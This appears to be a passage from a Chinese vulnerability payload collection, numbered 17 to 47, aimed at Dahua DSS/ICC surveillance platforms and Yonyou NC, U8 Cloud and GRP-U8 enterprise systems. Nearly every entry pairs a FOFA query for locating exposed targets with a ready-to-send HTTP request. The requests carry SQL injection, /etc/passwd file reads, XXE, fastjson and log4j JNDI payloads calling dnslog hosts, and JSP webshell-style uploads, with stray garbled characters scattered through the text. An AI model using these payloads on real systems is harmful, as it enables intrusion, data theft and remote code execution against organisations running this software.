Accept-Language: en
8 B1 L& k, _, U! u, e$ G( C& @Accept-Encoding: gzip
4 b& o# Y7 [& E* ]% ~0 \
! G4 ~2 G. i: I, l9 S+ _, J" d
17. 大华 DSS itcBulletin SQL 注入
: m. y5 H" |* U1 z5 w  f' YFOFA：app="dahua-DSS"
5 `$ P3 d' ?8 y5 b' J, z7 ~' DPOST /portal/services/itcBulletin?wsdl HTTP/1.1
/ S( `7 n' f& P3 i6 L+ ]6 n7 G$ nHost: x.x.x.x
! p) a4 q. P) ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! m! ?* A; d: Y( A! u1 s7 ~Connection: close
Content-Length: 345
Accept-Encoding: gzip

& P8 A3 A; i+ M" O<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
  l& F) {4 i4 k    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
- |8 U$ ]! C) O' d1 L" @& K; c1 n( v! N    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>
# P2 U  K, C% v& y
" B3 ^& \& ?5 f8 i# h$ f
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
+ |  S, X1 g/ P3 F) N9 c  hGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
/ f/ P8 ?  U; `& ], }6 N5 k* Z% iHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


$ e+ l- b& x; h  e) x% S  x2 B$ q3 p
9 ^7 w4 {6 t. z, z! w3 c6 a' D' R19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
; t- A% T" o( B( ~FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
- v7 q7 V6 g  Y' RUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
2 }' T; ?: i+ O2 n, t/ ~1 }Connection: keep-alive
; U6 z& c9 W% @2 L" d3 U6 f

20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
8 M& e8 r3 \4 TUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
4 q8 D! K# `. B, K+ j5 l' \Accept-Language: en
2 w. G6 o9 u+ D+ Z9 _. \% v, qAccept-Encoding: gzip

7 J- [. ]( X# f' w1 [+ ]6 U' J
, x! Q' {& M& p/ n. y, }, O21. 大华ICC智能物联综合管理平台random远程代码执行
  s0 `) ~9 i& [3 w. cFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 F( d6 J4 p% ~, D5 m1 kContent-Length: 161
" n" A: _- e& P) ~1 D; i! y0 ]/ vAccept-Encoding: gzip
Connection: close
& [" V, m( E  h$ \  n) J$ L' r! XContent-Type: application/json;charset=utf-8

6 o# O8 D' R. i8 T, ]{
"a":{
; G% F7 d+ P) N   "@type":"com.alibaba.fastjson.JSONObject",
8 w$ f: g! a/ D7 K# w% z/ E# L- M    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
1 L. U4 n7 ]3 X6 R6 t0 n}


! X9 l8 u5 y8 C/ q22. 大华ICC智能物联综合管理平台 log4j远程代码执行
4 H+ Y' n( c* H7 a" mFOFA：icon_hash="-1935899595"
1 |9 ^) r0 S6 f0 `POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
& `$ p4 Z% s+ Y; _Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
. C2 ?7 a) g9 R. H% g3 lContent-Type: application/json;charset=utf-8
" D. K. `7 n1 o" f
9 t4 D* N6 S8 c6 H! ]. P{
0 J( o' L3 U& X3 {9 }"loginName":"${jndi:ldap://dnslog}"
}

9 I& g1 X* i% {% c: `- g, g
& G9 d7 {1 z2 D: C7 w9 t" g
/ n1 M( ?2 l7 ^5 R6 D! `# c23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
( C" T1 s4 R  t5 s* a+ B0 b+ H% q' |FOFA：icon_hash="-1935899595"
3 N9 x; K4 @- [7 iPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close
- L7 G" N' g; y$ L  G7 J* m
0 ^' C4 K; y! w{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
# n4 E, ~+ X% ]; p: u3 Q        }""
}
% T  V! g3 k4 b  M

24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
" n/ l' T8 E) {$ OHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
1 W% G2 W: U8 D0 T. RConnection: close
Content-Length: 449
3 k# M7 v! L# T8 LAccept: */*
Accept-Encoding: gzip
/ C9 @  f9 F$ y: o! L1 yContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

0 I& H+ O' M! O  p7 d  D1 l) o-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain

3 L. o2 r/ ~" y<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
7 M, S. C3 F: c2 B-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

+ L* t' q1 M; a% v' P\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

! A& ~7 o) m# B) X. N4 U
& ?8 _; Z" h! y' @/ T25. 用友NC registerServlet JNDI 远程代码执行
/ Z2 x! t( x9 zFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
2 e5 _2 U1 B9 t( }1 z# I! PHost: your-ip
( K; |: x/ g7 G& ?$ Y* qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
9 v8 G! h; n5 G, {0 S0 Q" ^Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
# d$ u* A( k" C. G* [9 z4 \Content-Type: application/x-www-form-urlencoded

9 C; f" e. t% N7 htype=1&dsname=ldap://dnslog
4 {* D7 [; J% U9 g  x( f4 r


9 S; {7 u- ?1 G* `( M! Q# t% _26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
0 M" t, g, r# k/ t# u# G* O6 B6 I& WGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
, R% N& q. f. b  yHost: your-ip
+ r/ X- d) c5 z8 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
5 w5 Z0 L$ a" z% Y4 ]Accept-Encoding: gzip, deflate
1 X& p; V% W/ V4 K" MAccept: */*
9 E$ c/ [4 F% R% C* _: @3 ]9 yConnection: keep-alive

' ?& H) K8 ^5 V5 C( l
27. 用友 NC showcontent SQL注入
" j+ E7 H. I( x! p% lFOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
" w6 y$ v3 M# ~$ i' G8 y: n# l* ~Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
2 B' \  K( @+ Z5 VConnection: close
Content-Type: text/xml; charset=utf-8

* P+ ]2 m% @* l
* ~$ o" c/ x% g% V) U- W9 A& O  r28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
' N# Y; Q. j- g0 N  P4 z2 [POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
: X: c7 O7 a4 X$ @- Q3 \  w8 NHost: x.x.x.x
$ k/ a7 B3 X# TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
! V& I. l, y, \9 Z; SContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
) }2 U" T- M( ?( s: cAccept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

/ s) y8 G5 @2 A<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
5 Z; R2 m9 \# o) ^------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--

7 p4 Z: G% I. G- x0 P
# ~) e- w7 R/ `2 H) V6 C$ P/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
% L! I. A8 D; f; kGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
  e6 M+ f+ K# g0 d  y+ J3 y( ZHost: your-ip
6 p  a9 m0 Z* {- BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
/ K% F2 u, f0 h. O- ?8 {Accept: */*
Connection: keep-alive

: e8 A  I/ [+ r8 h. k* s; b
30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
  a  ?# C0 H4 D/ ~, f0 {0 N3 BContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
- ]3 _3 @! n. U" |" Y8 v! @1 N: |3 f2 cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close
; P, f' p" ~0 |1 v
------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--

1 J0 P/ _5 e* J, S5 d2 P$ `
31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
' l7 o% }9 h$ O9 zGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
# ?0 Q4 f. S) f6 z/ s5 b5 x2 V5 B! wHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
1 a  E. |! Z3 Z! C5 F

! t( K; Y1 p. u  g# Z. ~32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
7 N% A, e% Q9 ]# O" YFOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
1 M) Z. F/ l) V5 I% z4 PHost: your-ip
) I. e! G5 }! v- O1 a( [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
. b% n% T& m/ z5 I8 H2 C2 c5 D9 M
$ F. E! p& y7 |/ u( W: x
33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
9 L. P0 j$ s2 h& A/ K1 B$ iHost: your-ip
7 u, x$ @; X; [; ]0 Z4 ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
/ ^" w8 S* n3 \0 H: U! S1 oContent-Type: application/x-www-form-urlencoded
# ^& a8 W' z( ~- JAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


34. 用友NC warningDetailInfo接口SQL注入
5 f5 k! d6 T5 D9 Z# v$ u9 X- ~( g% L" u9 vFOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
, g# i+ _' |3 UHost: your-ip
# X+ g) U" [6 H/ \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
! J/ ~6 y6 ?- _1 J. ~Connection: keep-alive

- K, W9 r* J, k2 t! x1 W" X- z
4 u$ y% h0 P" n2 U3 ~+ `) w9 ~. t35. 用友NC-Cloud importhttpscer任意文件上传
6 w" v2 Y! }$ A( u) \, t# n/ ~) fFOFA：app="用友-NC-Cloud"
4 U/ {9 ^" n' O) v9 I7 `! }POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
( ]. T7 ?6 J0 C/ hAccept-Encoding: gzip, deflate
3 T, b, h. t* @3 z$ P7 a9 iAccept: */*
Connection: close
" C' L- V# ?4 T' X/ Z- MaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
+ ~/ q4 {/ `# T: H! ?% cContent-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
5 ^9 j& v! Q7 n% Z6 @
--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
" }& \. W) J5 v% c
3 a! S; |+ E" ~( T<%out.println(1111*1111);%>
" x+ K: E) q$ A& B) y! n) ]--fd28cb44e829ed1c197ec3bc71748df0--


0 I  O6 ~4 M* u" s% _$ j36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
3 l- W1 D6 c7 I$ ePOST /uapws/soapFormat.ajax HTTP/1.1
( b5 {* m6 l' y8 HHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
/ J' [% r! M: `3 lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 z( x2 b5 H- y' n3 \( O* u1 RAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
  u2 x9 p2 T3 U7 dUpgrade-Insecure-Requests: 1
+ O' X6 T: ?- L7 I- b, q8 f: p5 ]
2 @% R/ ]8 D% {+ z+ ^6 y, e% _msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
: V! k, N6 E& Y: T0 V. o
/ s; B& |% a5 @- A; k, o  Q2 J1 U) s
& u/ W& z. z% }/ s+ ^37. 用友NC-Cloud IUpdateService XXE
" E( V# _4 |; i$ p6 ?FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
/ }3 m0 i3 n6 ?5 yHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
- w, N2 N0 s+ ~3 A, B/ DContent-Length: 421
. X+ F& y- T$ E- |: tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
# J3 D8 g9 I  o4 J1 ]Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ {. v0 L4 a# C# n+ Y2 ~$ {Connection: close
+ A5 M% U0 e% Z! s8 K7 XContent-Type: text/xml;charset=UTF-8
) c' S  W" M! X6 r3 G( ]1 [SOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
<soapenv:Body>
<iup:getResult>
4 e& y* T' j4 O" ^' w9 l<!--type: string-->
<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
6 S0 F' ?# }6 G3 f& f2 K9 l: W  U5 X</iup:getResult>
% v2 i- m( a% J8 P</soapenv:Body>
</soapenv:Envelope>

4 |7 |8 {! c: U- ~

, I: O1 |: l/ r38. 用友U8 Cloud smartweb2.RPC.d XXE
& q2 `' }7 u1 g+ |0 I4 j0 ^FOFA：app="用友-U8-Cloud"
, n. r. Y! [3 A9 d, n% bPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
7 k1 C  f' w! e, [Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
# ]1 |2 D! [* H, h5 HAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

2 _+ ?6 g$ Q. x% c__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

- b  n5 E1 g, T6 q; s
39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
+ o2 M) h" Y9 v2 i9 W' WHost: 192.168.86.128:8089
. x: E" {, J( R7 S1 z* vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
Accept: */*
7 A1 q. c& D2 j; FAccept-Language: en
# u; B5 ?" j* b' i0 T5 dContent-Type: application/x-www-form-urlencoded
3 K! |( `& q. x3 p+ VX-Forwarded-For: 127.0.0.1
" H& x+ U2 w9 ?" Q& jAccept-Encoding: gzip
: y8 }8 x0 F, K* H9 n" v
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
0 X' n' `/ f5 Y$ y2 y3 X/ ]% Y
/ W4 E2 I7 m5 G& o1 p( a$ J
% [. c- j' ~2 n  B' W/ j" Q3 w4 p40. 用友U8-Cloud XChangeServlet XXE
$ |+ O7 s" `" B' S2 WFOFA：app="用友-U8-Cloud"
. e1 z- S9 Q- CPOST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
" ], ~6 o* y% h2 P8 NUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
/ j+ c3 v) D8 J9 O+ s& p- HContent-Type: text/xml
Connection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
7 A! Z. I5 ~* m0 w7 `0 N% n3 z
' M9 G3 s4 E5 Q0 [& Q5 Y- H  w+ x
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
7 L1 p# U1 T2 MGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
& a) Y; o1 i$ `" @/ aHost:
- T1 R/ e6 a* SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 O! ]2 t/ {& o" }' sContent-Type: application/json
9 t0 q6 Q4 b8 Z7 ~) q# T7 }' D: CAccept-Encoding: gzip
Connection: close
" c! w% K, r0 {& \) [

% s, H8 q* W6 \% J# H42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
# |3 J  x- |! g# v: g8 N3 oPOST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
- g2 M7 o# ^$ kContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
/ ?/ w" K, r4 p8 }3 Z& p: G$ oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD


% o2 G# V4 H& U$ Y; E6 {5 khttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

# Y. N* d0 h* A) e( i! a' s% Z  [43. 用友GRP-U8 userInfoWeb SQL注入致RCE
" N# R5 `% k1 m# D* z- q, U: IFOFA：app="用友-GRP-U8"
2 {/ ^3 q. B; w* R4 A3 [+ ]6 l' dPOST /services/userInfoWeb HTTP/1.1
; _( ?+ i( P: {8 E! f4 w2 f* q5 _7 r! tHost: your-ip
' q5 e6 V; u5 T* \3 [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
0 c+ t; L6 C# }2 o7 a4 S! i6 m* GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 Z( U( d+ `: M, J0 P% ~Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
& Q: T+ w' r" t! s: }8 m6 M7 {Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
0 L) a/ x/ S& m0 n   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
/ f2 u1 Y" L- m9 T/ R2 G      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>

, A8 r: B6 n' f; S$ {
0 n7 M5 D9 T: D44. 用友GRP-U8 bx_dj_check.jsp SQL注入
/ ^/ q# c( S) r1 X3 l/ Z, c* qFOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
; _% [9 c& S/ m9 E  VHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
0 }7 O6 G9 H2 ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 U6 s5 V. r) O$ d) _% KAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
0 x% z/ S9 l1 c$ E; }Connection: close
/ b% O" \. y! j- _

' w% T& f  {: [8 M/ u% G$ w7 N45. 用友GRP-U8 ufgovbank XXE
1 q1 T1 q8 `, |+ VFOFA：app="用友-GRP-U8"
- {- d" J! `  J0 {" [# }; fPOST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
2 o+ e0 H% h3 a2 u9 X7 N8 P; C# vConnection: close
7 S0 h+ f& w* B. M% ]Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 v* W+ N' V3 `( R5 _0 v2 }! R6 qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! `% }' {) g- F! U) e* g. l) J1 `Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


3 O8 Z( k- t6 [0 `( u: U/ I7 a( w46. 用友GRP-U8 sqcxIndex.jsp SQL注入
" d, s+ u4 G$ H  c. N9 O' IFOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
& T0 U  ^* [" ~9 v* z9 U! tHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
$ L6 m" }: }3 j( L; jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ Z5 v0 d. u) k# i4 z! [3 m+ NAccept-Encoding: gzip, deflate
, O% I( P2 E& ~; P% UAccept-Language: zh-CN,zh;q=0.9
Connection: close
" N3 W6 b! V' C9 L

3 E* A$ v/ R5 k/ _1 \47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
9 m/ F9 _# _& o' WGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
  J+ q+ U" A$ `* G# A0 b- _+ uHost: x.x.x.x
/ d+ P0 q1 H- iCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
% w- `* V- [' [$ c0 |' HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
